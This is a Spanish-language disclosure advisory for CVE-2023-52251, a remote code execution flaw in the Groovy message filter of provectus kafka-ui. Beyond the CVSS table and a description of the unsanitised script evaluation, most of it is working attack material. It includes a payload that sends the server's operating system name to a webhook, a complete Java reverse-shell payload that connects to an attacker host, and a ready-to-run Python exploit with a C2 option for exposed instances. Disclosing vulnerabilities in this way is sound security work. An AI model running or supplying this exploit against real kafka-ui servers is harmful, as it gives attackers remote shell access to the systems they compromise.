
CVE-2023-52251 Existe una vulnerabilidad de Ejecución Remota de Código en provectus/kafka-ui.
Existe una vulnerabilidad de ejecución remota de código en provectus/kafka-ui. No hay parche al momento de escribir esto, pero el proveedor fue notificado por nosotros y por el equipo de VINCE sin recibir respuesta. El informe se envió el 27 de septiembre de 2023 a provectus tanto por correo electrónico como por seguridad de GitHub.
Sugerimos comentar toda la función de filtro Groovy o añadir autenticación como mínimo.
| Título | Valor |
|---|---|
| Cadena CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H |
| ID de CVE | CVE-2023-52251 |
| Descripción CVS | se descubrió que provectus kafka-ui 0.4.0-0.7.1 contiene una vulnerabilidad de ejecución remota de comandos (RCE) a través del parámetro q en /api/clusters/local/topics/{topic}/messages |
| Puntuación CVSS | 9.x |
| CWE | CWE-94: Control inadecuado de la generación de código ('Inyección de código') |
| Proveedor | Provectus |
| Producto | kafka-ui |
| Enlace | https://github.com/provectus/kafka-ui |
| Versiones afectadas | 0.4.0-0.7.1 |
| Versiones parcheadas | Ninguna |
| Contribuyentes | Thingstad, BobTheShoplifter |
Tipo de vulnerabilidad: Ejecución remota de código (RCE)
Software afectado: Kafka-ui
Versión: [0.4.0-0.7.1]
No hay sanitización del filtro de script Groovy antes de que se ejecute. Esto permite a un atacante ejecutar código arbitrario en el servidor.
En la función groovyScriptFilter el "script" no se sanitiza antes de ser ejecutado.
Y se evalúa en el motor:
var result = compiledScript.eval(bindings);
Instrucciones completas, incluidos los detalles de configuración específicos, para reproducir la vulnerabilidad.
Usando el filtro:
new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

Enviará una solicitud al webhook con el nombre del sistema operativo del servidor.

Ampliando esto, podemos usar el siguiente payload para obtener una shell inversa:
String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
El payload se genera fácilmente en https://www.revshells.com/.

También se ha creado un PoC en Python:
from time import sleep
import requests
import json
import urllib
import argparse
url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"
def get_clusters():
global clusters
clusterfetch = requests.get(url + '/api/clusters')
clusters = clusterfetch.json()
def get_topics(cluster):
topicfetch = requests.get(
url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
topics = topicfetch.json()['topics']
return topics
def get_webhooks():
webhookfetch = requests.post('https://webhook.site/token')
webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
print('URL Created: ' + webhook)
token_id = webhookfetch.json()['uuid']
headers = {"api-key": webhookfetch.json()['uuid']}
return webhook, token_id, headers
def Exploit():
try:
get_clusters()
cluster = clusters[0]['name']
topics = get_topics(cluster)
topic = topics[0]['name']
webhook, token_id, headers = get_webhooks()
checkpayload = 'new URL("'+webhook+'").text'
rcepayload = 'String host="' + c2 + \
'";int port='+port + \
';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
payload = rcepayload if mode == "rce" else checkpayload
r = requests.get(
url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
print(r.text)
r = requests.get('https://webhook.site/token/' + token_id +
'/requests?sorting=newest', headers=headers)
if r.json()['data'] == []:
print("No rce found")
else:
for request in r.json()['data']:
print(request)
print("Rce found")
except KeyboardInterrupt:
print("KeyboardInterrupt")
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Kafka-ui4shell rce.')
parser.add_argument('--mode', help='check, rce', required=False,
choices=['check', 'rce'], default="check")
parser.add_argument(
'--url', help='Target url. Example http://localhost:8080', required=True)
parser.add_argument('--c2', help='C2 ip for RCE',
required=False),
parser.add_argument('--c2port', help='File with urls', required=False)
args = parser.parse_args()
if args.mode == "rce":
# Check if c2 and c2port are set
if args.c2 and args.c2port:
c2 = args.c2
port = args.c2port
mode = args.mode
Exploit()
exit()
else:
print("C2 and C2 port are required for RCE")
exit()
if args.url:
url = args.url
if args.mode:
mode = args.mode
if args.c2:
c2 = args.c2
if args.c2port:
port = args.c2port
Exploit()
exit()
else:
parser.print_help()
Esta vulnerabilidad permite a un atacante ejecutar código arbitrario en el servidor. Esto puede usarse para obtener acceso al servidor y comprometer aún más el sistema. Esta vulnerabilidad es explotable por cualquier usuario con acceso a la interfaz web de kafka-ui.
Al momento de escribir esto, hay 1,000+ instancias de kafka-ui expuestas a internet según Cencys. Todas estas instancias podrían ser vulnerables a este ataque.

Es probable que este software también se ejecute en redes internas, donde un atacante podría obtener acceso a la red y explotar esta vulnerabilidad.
Lars Thingstad - @Thingstad Daniel Christensen - @BobTheShoplifter